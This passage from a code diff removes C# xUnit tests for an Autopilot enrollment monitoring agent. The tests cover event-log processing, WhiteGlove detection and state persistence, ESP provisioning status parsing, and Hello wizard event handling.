Assert.Equal(EventSeverity.Error, evt.Severity);
}
// ========== Message payload shape ==========
[Fact]
public void ProcessEvent_EmptyDescription_UsesFallback()
{
var tracker = CreateTracker();
tracker.ProcessEvent(999, 4, "Information", "prov", DateTime.UtcNow, null,
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
Assert.Contains("EventID 999", evt.Message);
Assert.Contains("no formatted description", evt.Message);
}
[Fact]
public void ProcessEvent_LongDescription_TruncatedTo1000Chars()
{
var tracker = CreateTracker();
var longDesc = new string('x', 1500);
tracker.ProcessEvent(42, 4, "Information", "prov", DateTime.UtcNow, longDesc,
"Autopilot", ModernDeploymentTracker.AutopilotChannel, false);
var evt = Assert.Single(GetCaptured());
// Message prefix "[Autopilot] EventID 42: " + 1000 chars + "…"
Assert.True(evt.Message.Length <= 2000);
Assert.EndsWith("…", evt.Message);
}
[Fact]
public void ProcessEvent_DataDictionaryContainsAllExpectedKeys()
{
var tracker = CreateTracker();
var ts = new DateTime(2026, 4, 14, 10, 0, 0, DateTimeKind.Utc);
tracker.ProcessEvent(42, 3, "Warning", "MyProvider", ts, "hello",
"ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: true);
var evt = Assert.Single(GetCaptured());
Assert.Equal("ManagementService", evt.Data["channel"]);
Assert.Equal(ModernDeploymentTracker.ManagementChannel, evt.Data["channelFullName"]);
Assert.Equal(42, evt.Data["eventId"]);
Assert.Equal(3, evt.Data["level"]);
Assert.Equal("Warning", evt.Data["levelName"]);
Assert.Equal("MyProvider", evt.Data["providerName"]);
Assert.Equal(true, evt.Data["backfilled"]);
}
// ========== WhiteGlove Event 509 handling ==========
[Fact]
public void ProcessEvent_WhiteGloveStart_FromManagementService_EmitsWhiteGloveStartedEvent()
{
var tracker = CreateTracker(_tempDir);
tracker.ProcessEvent(
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
DateTime.UtcNow,
"AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1",
"ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false);
var evt = Assert.Single(GetCaptured());
Assert.Equal("whiteglove_started", evt.EventType);
Assert.Equal(EventSeverity.Info, evt.Severity);
Assert.True(evt.ImmediateUpload);
Assert.True(tracker.IsWhiteGloveStartDetected);
}
[Fact]
public void ProcessEvent_WhiteGloveStart_FromAutopilotChannel_TreatedAsRegularLog()
{
// Event 509 is only treated as WhiteGlove when it comes from ManagementService.
// The Autopilot channel may emit event 509 for other purposes → fall through to
// the generic level-based mapping.
var tracker = CreateTracker(_tempDir);
tracker.ProcessEvent(
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
DateTime.UtcNow, "AutopilotManager WhiteGlove whatever",
"Autopilot", ModernDeploymentTracker.AutopilotChannel, isBackfill: false);
var evt = Assert.Single(GetCaptured());
Assert.Equal(Constants.EventTypes.ModernDeploymentLog, evt.EventType);
Assert.False(tracker.IsWhiteGloveStartDetected);
}
[Fact]
public void ProcessEvent_WhiteGloveEvent509_WithoutWhiteGloveKeyword_Ignored()
{
// Guard against future reuse of Event 509 for unrelated purposes.
var tracker = CreateTracker(_tempDir);
tracker.ProcessEvent(
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
DateTime.UtcNow, "Some unrelated message",
"ManagementService", ModernDeploymentTracker.ManagementChannel, isBackfill: false);
Assert.Empty(GetCaptured());
Assert.False(tracker.IsWhiteGloveStartDetected);
}
[Fact]
public void ProcessEvent_WhiteGloveStart_FireOnce_DuplicatesSuppressed()
{
var tracker = CreateTracker(_tempDir);
var desc = "AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1";
tracker.ProcessEvent(
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
DateTime.UtcNow, desc,
"ManagementService", ModernDeploymentTracker.ManagementChannel, false);
tracker.ProcessEvent(
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
DateTime.UtcNow.AddSeconds(5), desc,
"ManagementService", ModernDeploymentTracker.ManagementChannel, false);
Assert.Single(GetCaptured());
}
[Fact]
public void ProcessEvent_WhiteGloveStart_PersistsStateToDisk()
{
var tracker = CreateTracker(_tempDir);
var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc);
tracker.ProcessEvent(
ModernDeploymentTracker.EventId_WhiteGloveStart, 4, "Information", "prov",
eventTime,
"AutopilotManager enabled TPM requirement due to WhiteGlove policy value 1",
"ManagementService", ModernDeploymentTracker.ManagementChannel, false);
var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName);
Assert.True(File.Exists(statePath));
var state = JsonConvert.DeserializeObject<ModernDeploymentTracker.WhiteGloveBackfillState>(File.ReadAllText(statePath));
Assert.True(state.WhiteGloveStartSeen);
Assert.Equal(eventTime, state.SeenUtc);
}
[Fact]
public void LoadWhiteGloveBackfillState_NoStateDirectory_ReturnsNull()
{
var tracker = CreateTracker(stateDirectory: null);
Assert.Null(tracker.LoadWhiteGloveBackfillState());
}
[Fact]
public void LoadWhiteGloveBackfillState_NoFile_ReturnsNull()
{
var tracker = CreateTracker(_tempDir);
Assert.Null(tracker.LoadWhiteGloveBackfillState());
}
[Fact]
public void LoadWhiteGloveBackfillState_CorruptFile_ReturnsNullAndDoesNotThrow()
{
var tracker = CreateTracker(_tempDir);
var statePath = Path.Combine(_tempDir, ModernDeploymentTracker.WhiteGloveBackfillStateFileName);
File.WriteAllText(statePath, "{not valid json");
Assert.Null(tracker.LoadWhiteGloveBackfillState());
}
[Fact]
public void LoadWhiteGloveBackfillState_RoundTrip_PreservesFlagAndTimestamps()
{
var tracker = CreateTracker(_tempDir);
var eventTime = new DateTime(2026, 4, 14, 9, 30, 0, DateTimeKind.Utc);
tracker.PersistWhiteGloveBackfillState(eventTime);
var loaded = tracker.LoadWhiteGloveBackfillState();
Assert.NotNull(loaded);
Assert.True(loaded.WhiteGloveStartSeen);
Assert.Equal(eventTime, loaded.SeenUtc);
}
// ========== XPath builder ==========
[Fact]
public void BuildXPath_NoTargetedIds_UsesLevelFilterOnly()
{
var xpath = ModernDeploymentTracker.BuildXPath(3, null);
Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath);
Assert.DoesNotContain("EventID=", xpath);
}
[Fact]
public void BuildXPath_WithTargetedIds_IncludesOrClause()
{
var xpath = ModernDeploymentTracker.BuildXPath(3, new HashSet<int> { 509 });
Assert.Contains("Level=0 or (Level >= 1 and Level <= 3)", xpath);
Assert.Contains("EventID=509", xpath);
}
[Fact]
public void BuildXPath_LevelClampedToWindowsRange()
{
Assert.Contains("Level <= 1", ModernDeploymentTracker.BuildXPath(0, null));
Assert.Contains("Level <= 5", ModernDeploymentTracker.BuildXPath(99, null));
}
}
}
@@ -1,529 +0,0 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Text.Json;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Tests for <see cref="ProvisioningStatusTracker"/>. Drives category-status processing via
/// <c>ProcessCategoryStatusForTest</c> with synthetic JSON payloads to exercise first-seen,
/// subcategory transitions, categorySucceeded resolution, failure escalation, DeviceSetup
/// completion event, and snapshot APIs. Registry / RegistryWatcher are NOT invoked.
/// </summary>
public sealed class ProvisioningStatusTrackerTests
{
private readonly ConcurrentBag<EnrollmentEvent> _captured = new ConcurrentBag<EnrollmentEvent>();
private readonly List<string> _espFailures = new List<string>();
private int _deviceSetupCompleteCount;
private ProvisioningStatusTracker CreateTracker()
{
var t = new ProvisioningStatusTracker(
sessionId: "sess-1",
tenantId: "tenant-1",
onEventCollected: e => _captured.Add(e),
logger: TestLogger.Instance);
t.EspFailureDetected += (_, ft) => _espFailures.Add(ft);
t.DeviceSetupProvisioningComplete += (_, __) => System.Threading.Interlocked.Increment(ref _deviceSetupCompleteCount);
return t;
}
private List<EnrollmentEvent> OfType(string eventType) =>
_captured.ToList().Where(e => e.EventType == eventType).ToList();
// =====================================================================
// ProcessCategoryStatus — first-seen + resolved-to-success
// =====================================================================
[Fact]
public void ProcessCategoryStatus_FirstSeen_EmitsStatusAndRawDump()
{
var t = CreateTracker();
var json = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""working""}}";
var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
Assert.False(result.IsFailed);
Assert.NotEmpty(OfType(Constants.EventTypes.EspProvisioningStatus));
Assert.NotEmpty(OfType("esp_provisioning_raw"));
var raw = OfType("esp_provisioning_raw").Single();
Assert.Equal("first_seen", raw.Data["trigger"]);
}
[Fact]
public void ProcessCategoryStatus_ResolvesToSuccess_EmitsResolvedEventAndRaw()
{
var t = CreateTracker();
var initial = @"{""categorySucceeded"":null,""CertificatesSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""...""}}";
var resolved = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", initial);
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", resolved);
var raws = OfType("esp_provisioning_raw");
Assert.Equal(2, raws.Count);
Assert.Contains(raws, r => (string)r.Data["trigger"] == "first_seen");
Assert.Contains(raws, r => (string)r.Data["trigger"] == "category_resolved_success");
}
[Fact]
public void ProcessCategoryStatus_ResolvesToFailure_FiresEspFailureDetected()
{
var t = CreateTracker();
var failed = @"{""categorySucceeded"":false,""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
var result = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed);
Assert.True(result.IsFailed);
Assert.Contains("Provisioning_AccountSetup_Certificates_Failed", result.FailureType);
}
[Fact]
public void ProcessCategoryStatus_SubcategoryFailureBeforeCategorySucceededResolves_AlsoEscalates()
{
// Timeout scenario: categorySucceeded still null, but a subcategory already failed.
var t = CreateTracker();
var partialFailure = @"{""CertificatesSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
var result = t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", partialFailure);
Assert.True(result.IsFailed);
Assert.Equal("Provisioning_DeviceSetup_Certificates_Failed", result.FailureType);
}
[Fact]
public void ProcessCategoryStatus_SameFailureTwice_FireOnceGuard()
{
var t = CreateTracker();
var failed = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err""}}";
var failed2 = @"{""categorySucceeded"":false,""AppsSubcategory"":{""subcategoryState"":""failed"",""subcategoryStatusText"":""err - refresh""}}";
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed);
var secondResult = t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", failed2);
Assert.False(secondResult.IsFailed); // Fire-once guard in TryFireProvisioningFailure
}
// =====================================================================
// Flat (string) subcategory format — legacy Windows versions
// =====================================================================
[Fact]
public void ParseSubcategories_FlatStringFormat_InferredFromText()
{
var json = @"{""CertificatesSubcategory"":""Certificates (1 of 1 applied)""}";
using var doc = JsonDocument.Parse(json);
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
Assert.Single(subs);
Assert.Equal("Certificates", subs[0].Name);
Assert.Equal("succeeded", subs[0].State);
}
[Fact]
public void ParseSubcategories_NestedObjectFormat_UsesExplicitState()
{
var json = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""2 of 5""}}";
using var doc = JsonDocument.Parse(json);
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
Assert.Single(subs);
Assert.Equal("Apps", subs[0].Name);
Assert.Equal("in_progress", subs[0].State);
Assert.Equal("2 of 5", subs[0].StatusText);
}
[Fact]
public void ParseSubcategories_DottedName_CleanedToSuffix()
{
var json = @"{""AccountSetup.CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
using var doc = JsonDocument.Parse(json);
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
Assert.Single(subs);
Assert.Equal("Certificates", subs[0].Name);
}
[Fact]
public void ParseSubcategories_IgnoresNonSubcategoryProperties()
{
var json = @"{""categorySucceeded"":true,""CertificatesSubcategory"":""done""}";
using var doc = JsonDocument.Parse(json);
var subs = ProvisioningStatusTracker.ParseSubcategories(doc.RootElement);
Assert.Single(subs);
Assert.Equal("Certificates", subs[0].Name);
}
// =====================================================================
// State inference from flat text
// =====================================================================
[Theory]
[InlineData("Complete", "succeeded")]
[InlineData("Certificates (1 of 1 applied)", "succeeded")]
[InlineData("Apps installed", "succeeded")]
[InlineData("No setup needed", "succeeded")]
[InlineData("Error during install", "failed")]
[InlineData("Registration Failed", "failed")]
[InlineData("Working on it", "in_progress")]
[InlineData("", "unknown")]
public void InferStateFromText_RecognizesCommonPatterns(string text, string expected)
{
Assert.Equal(expected, ProvisioningStatusTracker.InferStateFromText(text));
}
// =====================================================================
// SafeGetBool / SafeGetString
// =====================================================================
[Fact]
public void SafeGetBool_TrueFalseNullStringUnknown()
{
using var doc = JsonDocument.Parse(@"{""t"":true,""f"":false,""s"":""true"",""n"":null,""num"":42}");
var root = doc.RootElement;
Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "t"));
Assert.False(ProvisioningStatusTracker.SafeGetBool(root, "f"));
Assert.True(ProvisioningStatusTracker.SafeGetBool(root, "s"));
Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "n"));
Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "num"));
Assert.Null(ProvisioningStatusTracker.SafeGetBool(root, "missing"));
}
[Fact]
public void SafeGetString_ReturnsStringOrNull()
{
using var doc = JsonDocument.Parse(@"{""s"":""hello"",""num"":1,""missing_key"":null}");
var root = doc.RootElement;
Assert.Equal("hello", ProvisioningStatusTracker.SafeGetString(root, "s"));
Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "num"));
Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "missing_key"));
Assert.Null(ProvisioningStatusTracker.SafeGetString(root, "totally_absent"));
}
// =====================================================================
// BuildProgressSummary
// =====================================================================
[Fact]
public void BuildProgressSummary_WithNoSubs_ReturnsInProgress()
{
Assert.Equal("In progress",
ProvisioningStatusTracker.BuildProgressSummary(new List<ProvisioningStatusTracker.SubcategoryInfo>()));
}
[Fact]
public void BuildProgressSummary_WithFailures_ReportsFailures()
{
var subs = new List<ProvisioningStatusTracker.SubcategoryInfo>
{
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" },
new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" },
};
Assert.Equal("1 of 3 subcategories failed",
ProvisioningStatusTracker.BuildProgressSummary(subs));
}
[Fact]
public void BuildProgressSummary_NoFailures_ReportsCompletion()
{
var subs = new List<ProvisioningStatusTracker.SubcategoryInfo>
{
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "notRequired" },
new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "in_progress" },
};
Assert.Equal("2 of 3 subcategories completed",
ProvisioningStatusTracker.BuildProgressSummary(subs));
}
// =====================================================================
// Snapshots + state properties
// =====================================================================
[Fact]
public void GetProvisioningSnapshot_BeforeAnyData_ReturnsNull()
{
var t = CreateTracker();
Assert.Null(t.GetProvisioningSnapshot());
}
[Fact]
public void GetProvisioningSnapshot_AfterSuccess_ReflectsResolved()
{
var t = CreateTracker();
var succeeded = @"{""categorySucceeded"":true,""CertificatesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""done""}}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded);
var snap = t.GetProvisioningSnapshot();
Assert.NotNull(snap);
Assert.Equal("success", snap.CategoryOutcomes["DeviceSetup"]);
Assert.Equal(1, snap.CategoriesSeen);
Assert.Equal(1, snap.CategoriesResolved);
Assert.True(snap.AllResolved);
}
[Fact]
public void GetProvisioningCategorySnapshot_ReflectsCategorySucceededMap()
{
var t = CreateTracker();
var succeeded = @"{""categorySucceeded"":true,""X"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}";
var inProgress = @"{""categorySucceeded"":null,""Y"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", succeeded);
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", inProgress);
var snap = t.GetProvisioningCategorySnapshot();
Assert.Equal(true, snap["DeviceSetupCategory.Status"]);
Assert.Null(snap["AccountSetupCategory.Status"]);
}
[Fact]
public void DeviceSetupCategorySucceeded_ReflectsResolvedSuccess()
{
var t = CreateTracker();
Assert.False(t.DeviceSetupCategorySucceeded);
t.ProcessCategoryStatusForTest(
"DeviceSetupCategory.Status",
@"{""categorySucceeded"":true,""S"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}");
Assert.True(t.DeviceSetupCategorySucceeded);
}
[Fact]
public void HasAccountSetupActivity_TrueAfterAccountSetupSeen()
{
var t = CreateTracker();
Assert.False(t.HasAccountSetupActivity);
t.ProcessCategoryStatusForTest(
"AccountSetupCategory.Status",
@"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}");
Assert.True(t.HasAccountSetupActivity);
}
[Fact]
public void FindFailedSubcategory_ReturnsFirstFailedName()
{
var subs = new List<ProvisioningStatusTracker.SubcategoryInfo>
{
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
new ProvisioningStatusTracker.SubcategoryInfo { Name = "B", State = "failed" },
new ProvisioningStatusTracker.SubcategoryInfo { Name = "C", State = "failed" },
};
Assert.Equal("B", ProvisioningStatusTracker.FindFailedSubcategory(subs));
var none = new List<ProvisioningStatusTracker.SubcategoryInfo>
{
new ProvisioningStatusTracker.SubcategoryInfo { Name = "A", State = "succeeded" },
};
Assert.Null(ProvisioningStatusTracker.FindFailedSubcategory(none));
}
// =====================================================================
// Subcategory transitions (noise filtering)
// =====================================================================
[Fact]
public void ProcessCategoryStatus_NotStartedToInProgress_IsNoise_NoTransitionEventEmitted()
{
var t = CreateTracker();
var initial = @"{""AppsSubcategory"":{""subcategoryState"":""notStarted"",""subcategoryStatusText"":""""}}";
var progress = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""go""}}";
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial);
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", progress);
// Progress event still emitted (JSON changed) but NO event should carry a
// subcategory_state_change transition (notStarted → in_progress is filtered as noise).
var all = OfType(Constants.EventTypes.EspProvisioningStatus);
Assert.DoesNotContain(all, e => e.Data.ContainsKey("transitions"));
}
[Fact]
public void ProcessCategoryStatus_InProgressToSucceeded_EmitsTransitionEvent()
{
var t = CreateTracker();
var initial = @"{""AppsSubcategory"":{""subcategoryState"":""in_progress"",""subcategoryStatusText"":""""}}";
var done = @"{""AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""""}}";
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", initial);
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", done);
// At least one of the emitted status events must carry the transition payload.
var withTransitions = OfType(Constants.EventTypes.EspProvisioningStatus)
.Where(e => e.Data.ContainsKey("transitions"))
.ToList();
Assert.Single(withTransitions);
Assert.Equal("subcategory_state_change", withTransitions[0].Data["changeType"]);
}
// =====================================================================
// SaveWhiteGloveSuccessResult detection
// =====================================================================
[Fact]
public void ProcessCategoryStatus_DeviceSetup_WithSaveWhiteGloveSuccessResult_SetsFlag()
{
var t = CreateTracker();
// Simulates the exact JSON structure from a real WhiteGlove DeviceSetup registry
var json = @"{
""categoryState"":""succeeded"",
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
""categoryStatusText"":""Complete""
}";
Assert.False(t.HasSaveWhiteGloveSuccessResult);
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
Assert.True(t.HasSaveWhiteGloveSuccessResult);
}
[Fact]
public void ProcessCategoryStatus_DeviceSetup_WithoutSaveWhiteGloveSuccessResult_FlagStaysFalse()
{
var t = CreateTracker();
// Normal (non-WhiteGlove) DeviceSetup — no SaveWhiteGloveSuccessResult property
var json = @"{
""categoryState"":""succeeded"",
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.AppsSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""categoryStatusText"":""Complete""
}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
Assert.False(t.HasSaveWhiteGloveSuccessResult);
}
[Fact]
public void ProcessCategoryStatus_AccountSetup_WithSaveWhiteGloveSuccessResult_Ignored()
{
var t = CreateTracker();
// SaveWhiteGloveSuccessResult in AccountSetup should be ignored (only DeviceSetup matters)
var json = @"{
""categoryState"":""succeeded"",
""AccountSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
""categoryStatusText"":""Complete""
}";
t.ProcessCategoryStatusForTest("AccountSetupCategory.Status", json);
Assert.False(t.HasSaveWhiteGloveSuccessResult);
}
[Fact]
public void ProcessCategoryStatus_DeviceSetup_SaveWhiteGloveNotSucceeded_FlagStaysFalse()
{
var t = CreateTracker();
var json = @"{
""categoryState"":""inProgress"",
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""inProgress"",""subcategoryStatusText"":""working""},
""categoryStatusText"":""working""
}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
Assert.False(t.HasSaveWhiteGloveSuccessResult);
}
[Fact]
public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateTransition_EmitsRawDumpForEachChange()
{
var t = CreateTracker();
// Poll 1: SaveWhiteGloveSuccessResult=notStarted
var jsonNotStarted = @"{
""categoryState"":""inProgress"",
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
""categoryStatusText"":""working""
}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonNotStarted);
// Should emit raw dump for first WG state observation
var raws = OfType("esp_provisioning_raw");
var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
Assert.Single(wgRaws);
Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message);
Assert.False(t.HasSaveWhiteGloveSuccessResult);
// Poll 2: SaveWhiteGloveSuccessResult=succeeded
var jsonSucceeded = @"{
""categoryState"":""succeeded"",
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""succeeded""},
""categoryStatusText"":""Complete""
}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", jsonSucceeded);
// Should now have 2 WG raw dumps (ConcurrentBag has no guaranteed order)
raws = OfType("esp_provisioning_raw");
wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
Assert.Equal(2, wgRaws.Count);
Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_notStarted"));
Assert.Single(wgRaws, e => e.Message.Contains("whiteglove_signal_succeeded"));
Assert.True(t.HasSaveWhiteGloveSuccessResult);
}
[Fact]
public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStateSame_NoDuplicateRawDump()
{
var t = CreateTracker();
var json = @"{
""categoryState"":""inProgress"",
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
""categoryStatusText"":""working""
}";
// Same JSON twice — should only emit WG raw dump once
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
var raws = OfType("esp_provisioning_raw");
var wgRaws = raws.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
Assert.Single(wgRaws);
Assert.False(t.HasSaveWhiteGloveSuccessResult);
}
[Fact]
public void ProcessCategoryStatus_DeviceSetup_WhiteGloveStaysNotStarted_FlagNeverSet()
{
var t = CreateTracker();
var json = @"{
""categoryState"":""succeeded"",
""DeviceSetup.SecurityPoliciesSubcategory"":{""subcategoryState"":""succeeded"",""subcategoryStatusText"":""ok""},
""DeviceSetup.SaveWhiteGloveSuccessResult"":{""subcategoryState"":""notStarted""},
""categoryStatusText"":""Complete""
}";
t.ProcessCategoryStatusForTest("DeviceSetupCategory.Status", json);
// Raw dump emitted (for observability), but flag stays false
var wgRaws = OfType("esp_provisioning_raw")
.Where(e => e.Message.Contains("whiteglove_signal_")).ToList();
Assert.Single(wgRaws);
Assert.Contains("whiteglove_signal_notStarted", wgRaws[0].Message);
Assert.False(t.HasSaveWhiteGloveSuccessResult);
}
}
}
@@ -1,296 +0,0 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using AutopilotMonitor.Shared.Models;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
{
/// <summary>
/// Tests for <see cref="ShellCoreTracker"/>. Drives the ProcessEvent pipeline directly
/// (EventLogWatcher is Windows-only) and verifies failure classification, WhiteGlove
/// fire-once, Hello wizard cross-notification, and ESP exit backfill dedup.
/// </summary>
public sealed class ShellCoreTrackerTests
{
private readonly ConcurrentBag<EnrollmentEvent> _captured = new ConcurrentBag<EnrollmentEvent>();
private readonly List<string> _finalizingReasons = new List<string>();
private int _whiteGloveCompletedCount;
private readonly List<string> _espFailures = new List<string>();
private ShellCoreTracker CreateTracker(HelloTracker helloTracker = null)
{
var t = new ShellCoreTracker(
sessionId: "sess-1",
tenantId: "tenant-1",
onEventCollected: e => _captured.Add(e),
logger: TestLogger.Instance,
helloTracker: helloTracker);
t.FinalizingSetupPhaseTriggered += (_, reason) => _finalizingReasons.Add(reason);
t.WhiteGloveCompleted += (_, __) => System.Threading.Interlocked.Increment(ref _whiteGloveCompletedCount);
t.EspFailureDetected += (_, ft) => _espFailures.Add(ft);
return t;
}
private HelloTracker CreateHelloTracker() =>
new HelloTracker("sess-1", "tenant-1", _ => { }, TestLogger.Instance, helloWaitTimeoutSeconds: 30);
private EnrollmentEvent Last(string eventType) =>
_captured.ToList().LastOrDefault(e => e.EventType == eventType);
// =====================================================================
// Event 62404 — Hello wizard start
// =====================================================================
[Fact]
public void ProcessEvent_62404_WithAADHello_EmitsHelloWizardStarted_AndTriggersFinalizingSetup()
{
var t = CreateTracker();
t.ProcessEvent(62404,
"CloudExperienceHost Web App Activity Started. Name: 'AADHello' ...",
DateTime.UtcNow, "Microsoft-Windows-Shell-Core", false);
var evt = Last("hello_wizard_started");
Assert.NotNull(evt);
Assert.Equal(EventSeverity.Info, evt.Severity);
Assert.Single(_finalizingReasons);
Assert.Equal("hello_wizard_started", _finalizingReasons[0]);
}
[Fact]
public void ProcessEvent_62404_WithNGC_EmitsHelloWizardStarted()
{
var t = CreateTracker();
t.ProcessEvent(62404,
"CloudExperienceHost Web App Activity Started. Name: 'NGC' ...",
DateTime.UtcNow, "prov", false);
Assert.NotNull(Last("hello_wizard_started"));
}
[Fact]
public void ProcessEvent_62404_NonHello_Ignored()
{
var t = CreateTracker();
t.ProcessEvent(62404,
"CloudExperienceHost Web App Activity Started. Name: 'OtherThing'",
DateTime.UtcNow, "prov", false);
Assert.Empty(_captured);
Assert.Empty(_finalizingReasons);
}
[Fact]
public void ProcessEvent_62404_NotifiesHelloTracker()
{
var hello = CreateHelloTracker();
var t = CreateTracker(hello);
t.ProcessEvent(62404, "CloudExperienceHost ... 'AADHello' ...",
DateTime.UtcNow, "prov", false);
Assert.True(hello.IsHelloWizardStartedForTest);
}
// =====================================================================
// Event 62407 — WhiteGlove success
// =====================================================================
[Fact]
